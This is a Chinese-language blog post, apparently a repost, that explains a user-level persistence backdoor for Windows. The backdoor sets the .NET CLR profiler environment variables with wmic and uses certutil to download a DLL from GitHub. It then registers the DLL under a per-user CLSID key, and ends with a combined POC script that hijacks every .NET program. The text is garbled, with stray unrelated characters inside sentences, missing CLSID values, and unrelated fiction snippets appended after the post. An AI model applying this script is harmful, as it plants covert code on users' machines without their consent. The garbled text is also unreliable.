利用CLR實現(xiàn)一種無需管理員權(quán)限的后門

0x00 前言

在之前的文章《Use AppDomainManager to maintain persistence》介紹了通過AppDomainManager實現(xiàn)的一種被動后門觸發(fā)機制次慢,演示了如何劫持系統(tǒng).Net程序powershell_ise.exe母市,但前提是需要獲得管理員權(quán)限绎秒。

這一次將更進(jìn)一步,介紹一種無需管理員權(quán)限的后門,并能夠劫持所有.Net程序筹我。

0x01 簡介

本文將要介紹以下內(nèi)容:

· CLR的使用

· 后門開發(fā)思路

· POC編寫

· 后門檢測

0x02 CLR的使用

CLR:

全稱Common Language Runtime(公共語言運行庫)辉懒,是一個可由多種編程語言使用的運行環(huán)境屈糊。

CLR是.NET Framework的主要執(zhí)行引擎玩徊,作用之一是監(jiān)視程序的運行:

· 在CLR監(jiān)視之下運行的程序?qū)儆凇巴泄艿摹保╩anaged)代碼

· 不在CLR之下、直接在裸機上運行的應(yīng)用或者組件屬于“非托管的”(unmanaged)的代碼

CLR的使用:

測試系統(tǒng): Win8 x86

1邑遏、啟動cmd

輸入如下代碼:

SET COR_ENABLE_PROFILING=1SET COR_PROFILER=

注:

可設(shè)置為任意數(shù)值佣赖,只要不和系統(tǒng)常用CLSID沖突就好

2、測試dll

使用彈框dll记盒,下載地址:

https://raw.githubusercontent.com/3gstudent/test/master/msg.dll

dll開發(fā)過程可參考:

https://3gstudent.github.io/3gstudent.github.io/Use-Office-to-maintain-persistence/

可在cmd下實現(xiàn)直接下載憎蛤,代碼如下:

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dllcertutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll delete

操作如下圖


注:

delete是為了清除下載文件的緩存

更多關(guān)于使用certutil.exe下載文件的利用細(xì)節(jié)可參考文章:《滲透測試中的certutil.exe》

3、操作注冊表

默認(rèn)路徑改為msg.dll的路徑

修改后的注冊表如下圖


對應(yīng)cmd代碼如下:

SET KEY=HKEY_CURRENT_USERSoftwareClassesCLSIDInProcServer32REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%msg.dll" /FREG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F

4纪吮、在當(dāng)前cmd啟動.net程序

例如powershell.exe俩檬,啟動時加載msg.dll,彈框

操作如下圖


注:

使用其他cmd執(zhí)行powershell.exe不會加載msg.dll

原因:

SET COR_ENABLE_PROFILING=1SET COR_PROFILER=

當(dāng)然碾盟,執(zhí)行其他.net程序也會加載msg.dll

測試如下圖


0x03 后門開發(fā)思路

由以上測試得出結(jié)論棚辽,使用CLR能夠劫持所有.Net程序的啟動,但是只能作用于當(dāng)前cmd

能否作用于全局呢冰肴?

自然想到了修改環(huán)境變量

通常屈藐,修改環(huán)境變量使用面板操作的方式,如下圖


能否通過命令行修改環(huán)境變量呢熙尉?

自然想到了WMI

修改系統(tǒng)變量(需要管理員權(quán)限):

wmic ENVIRONMENT create name="1",username="",VariableValue="1"

修改當(dāng)前用戶變量(當(dāng)前用戶權(quán)限):

wmic ENVIRONMENT create name="2",username="%username%",VariableValue="2"

注:

通過WMI修改環(huán)境變量需要系統(tǒng)重啟或注銷重新登錄才能生效

接下來需要測試联逻,是否只需要修改當(dāng)前用戶權(quán)限就能夠?qū)崿F(xiàn)作用于全局,答案是肯定的检痰。

添加當(dāng)前用戶的環(huán)境變量:

wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue=""

重啟后包归,成功修改,如下圖


現(xiàn)在直接啟動.Net程序铅歼,彈框公壤,成功加載msg.dll

如下圖


至此,后門思路驗證成功

0x04 POC編寫

對于32位操作系統(tǒng)椎椰,參考0x03的代碼就好厦幅,x86 POC如下:

wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue=""certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dllcertutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll deleteSET KEY=HKEY_CURRENT_USERSoftwareClassesCLSIDInProcServer32REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%msg.dll" /FREG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F

對應(yīng)64位系統(tǒng),需要注意重定向問題慨飘,注冊表存在32位和64位兩個位置

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末慨削,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子套媚,更是在濱河造成了極大的恐慌缚态,老刑警劉巖,帶你破解...
    沈念sama閱讀 217,734評論 6 505
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件堤瘤,死亡現(xiàn)場離奇詭異玫芦,居然都是意外死亡,警方通過查閱死者的電腦和手機本辐,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,931評論 3 394
  • 文/潘曉璐 我一進(jìn)店門桥帆,熙熙樓的掌柜王于貴愁眉苦臉地迎上來医增,“玉大人,你說我怎么就攤上這事老虫∫豆牵” “怎么了?”我有些...
    開封第一講書人閱讀 164,133評論 0 354
  • 文/不壞的土叔 我叫張陵祈匙,是天一觀的道長忽刽。 經(jīng)常有香客問我,道長夺欲,這世上最難降的妖魔是什么跪帝? 我笑而不...
    開封第一講書人閱讀 58,532評論 1 293
  • 正文 為了忘掉前任,我火速辦了婚禮些阅,結(jié)果婚禮上伞剑,老公的妹妹穿的比我還像新娘。我一直安慰自己市埋,他們只是感情好黎泣,可當(dāng)我...
    茶點故事閱讀 67,585評論 6 392
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著缤谎,像睡著了一般聘裁。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上弓千,一...
    開封第一講書人閱讀 51,462評論 1 302
  • 那天,我揣著相機與錄音献起,去河邊找鬼洋访。 笑死,一個胖子當(dāng)著我的面吹牛谴餐,可吹牛的內(nèi)容都是我干的姻政。 我是一名探鬼主播,決...
    沈念sama閱讀 40,262評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼岂嗓,長吁一口氣:“原來是場噩夢啊……” “哼汁展!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起厌殉,我...
    開封第一講書人閱讀 39,153評論 0 276
  • 序言:老撾萬榮一對情侶失蹤食绿,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后公罕,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體器紧,經(jīng)...
    沈念sama閱讀 45,587評論 1 314
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,792評論 3 336
  • 正文 我和宋清朗相戀三年楼眷,在試婚紗的時候發(fā)現(xiàn)自己被綠了铲汪。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片熊尉。...
    茶點故事閱讀 39,919評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖掌腰,靈堂內(nèi)的尸體忽然破棺而出狰住,到底是詐尸還是另有隱情,我是刑警寧澤齿梁,帶...
    沈念sama閱讀 35,635評論 5 345
  • 正文 年R本政府宣布催植,位于F島的核電站,受9級特大地震影響士飒,放射性物質(zhì)發(fā)生泄漏查邢。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 41,237評論 3 329
  • 文/蒙蒙 一酵幕、第九天 我趴在偏房一處隱蔽的房頂上張望扰藕。 院中可真熱鬧,春花似錦芳撒、人聲如沸邓深。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,855評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽芥备。三九已至,卻和暖如春舌菜,著一層夾襖步出監(jiān)牢的瞬間萌壳,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 32,983評論 1 269
  • 我被黑心中介騙來泰國打工日月, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留袱瓮,地道東北人。 一個月前我還...
    沈念sama閱讀 48,048評論 3 370
  • 正文 我出身青樓爱咬,卻偏偏與公主長得像尺借,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子精拟,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 44,864評論 2 354

推薦閱讀更多精彩內(nèi)容

  • Spring Cloud為開發(fā)人員提供了快速構(gòu)建分布式系統(tǒng)中一些常見模式的工具(例如配置管理燎斩,服務(wù)發(fā)現(xiàn),斷路器蜂绎,智...
    卡卡羅2017閱讀 134,656評論 18 139
  • 部分內(nèi)容轉(zhuǎn)載自搜狗百科 cmd是command的縮寫.即命令提示符(CMD)栅表,是在OS / 2 , Windows...
    青冥之上閱讀 2,392評論 0 24
  • 黑客常用命令大全 net user heibai lovechina /add 加一個heibai的用戶密碼...
    倒帶默寫閱讀 16,855評論 0 24
  • 一师枣、溫故而知新 1. 內(nèi)存不夠怎么辦 內(nèi)存簡單分配策略的問題地址空間不隔離內(nèi)存使用效率低程序運行的地址不確定 關(guān)于...
    SeanCST閱讀 7,808評論 0 27
  • 個人學(xué)習(xí)批處理的初衷來源于實際工作谨读;在某個迭代版本有個BS(安卓手游模擬器)大需求,從而在測試過程中就重復(fù)涉及到...
    Luckykailiu閱讀 4,718評論 0 11